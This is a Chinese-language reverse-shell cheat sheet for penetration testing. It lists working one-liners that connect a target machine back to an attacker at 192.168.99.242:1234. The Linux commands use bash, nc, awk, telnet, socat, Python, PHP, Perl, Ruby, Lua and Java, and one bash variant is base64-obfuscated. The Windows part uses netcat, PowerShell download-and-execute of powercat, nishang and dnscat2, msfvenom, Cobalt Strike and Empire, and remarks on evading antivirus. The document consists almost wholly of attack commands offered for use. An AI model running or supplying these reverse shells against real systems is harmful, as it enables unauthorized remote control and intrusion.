反弹shell的各种姿势
在渗透过程中，往往因为端口限制而无法直连目标机器，此时需要通过反弹shell来获取一个交互式shell，以便继续深入。
反弹shell是打开内网通道的第一步，也是权限提升过程中至关重要的一步。本文所有姿势整理自网络，并基于同一个假设的前提下完成测试和验证。（假设：攻击者主机为：192.168.99.242，本地监听1234端口，如有特殊情况以下会备注说明。）
Linux 反弹shell
姿势一：bash反弹
bash -i >& /dev/tcp/192.168.99.242/1234 0>&1base64版：bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljk5LjI0Mi8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}'在线编码地址：http://www.jackson-t.ca/runtime-exec-payloads.html
其他版本：
exec 5<>/dev/tcp/192.168.99.242/1234;cat <&5 | while read line; do $line 2>&5 >&5;doneexec /bin/sh 0</dev/tcp/192.168.99.242/1234 1>&0 2>&0
姿势二：nc反弹
nc -e /bin/bash 192.168.99.242 1234
姿势三：awk反弹
awk 'BEGIN{s="/inet/tcp/0/192.168.99.242/1234";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'
姿势四：telnet反弹
备注：需要在攻击主机上分别监听1234和4321端口，执行反弹shell命令后，在1234终端输入命令，4321查看命令执行后的结果。
telnet 192.168.99.242 1234 | /bin/bash | telnet 192.168.99.242 4321
姿势五：socat反弹
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.99.242:1234
姿势六：Python反弹
python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.99.242',1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
姿势七：PHP反弹
php -r '$sock=fsockopen("192.168.99.242",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
姿势八：Perl反弹
perl -e 'use Socket;$i="192.168.99.242";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
姿势九：Ruby反弹
ruby -rsocket -e'f=TCPSocket.open("192.168.99.242",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
姿势十：Lua反弹
lua -e "require('socket');require('os');t=socket.tcp();t:connect('192.168.99.242','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"
姿势十一：JAVA反弹
public class Revs {/*** @param args* @throws Exception*/public static void main(String[] args) throws Exception {// TODO Auto-generated method stubRuntime r = Runtime.getRuntime();String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/192.168.99.242/1234;cat <&5 | while read line; do $line 2>&5 >&5; done"};Process p = r.exec(cmd);p.waitFor();}}
保存为Revs.java文件，编译执行，成功反弹shell。
javac Revs.javajava Revs
Windows反弹shell
姿势一：nc反弹
netcat 下载：https://eternallybored.org/misc/netcat/服务端反弹：nc 192.168.99.242 1234 -e c:\windows\system32\cmd.exe
姿势二：powershell反弹
powercat是netcat的powershell版本，功能免杀性都要比netcat好用的多。
PS C:\WWW>powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); powercat -c 192.168.99.242 -p 1234 -e cmd
下载到目标机器本地执行：
PS C:\WWW> Import-Module ./powercat.ps1PS C:\WWW> powercat -c 192.168.99.242 -p 1234 -e cmd
姿势三：MSF反弹shell
使用msfvenom生成相关Payload
msfvenom -l payloads | grep 'cmd/windows/reverse'msfvenom -p cmd/windows/reverse_powershell LHOST=192.168.99.242 LPORT=1234
姿势四：Cobalt strike反弹shell
1、配置监听器：点击Cobalt Strike——>Listeners——>在下方Tab菜单Listeners，点击add。2、生成payload：点击Attacks——>Packages——>Windows Executable，保存文件位置。3、目标机执行powershell payload
姿势五：Empire反弹shell
usestager windows/launcher_vbsinfoset Listener testexecute
姿势六：nishang反弹shell
Reverse TCP shell：
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com /samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellTcp.ps1'); Invoke-PowerShellTcp -Reverse -IPAddress 10.1.1.210 -port 1234
Reverse UDP shell：
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellUdp.ps1');Invoke-PowerShellUdp -Reverse -IPAddress 10.1.1.210 -port 1234
姿势七：Dnscat反弹shell
github项目地址：
https://github.com/iagox86/dnscat2服务端：
ruby dnscat2.rb --dns "domain=lltest.com,host=xx.xx.xx.xx" --no-cache -e open -e open 目标主机：
powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/lukebaggett/dnscat2-powershell/master/dnscat2.ps1');Start-Dnscat2 -Domain lltest.com -DNSServer xx.xx.xx.xx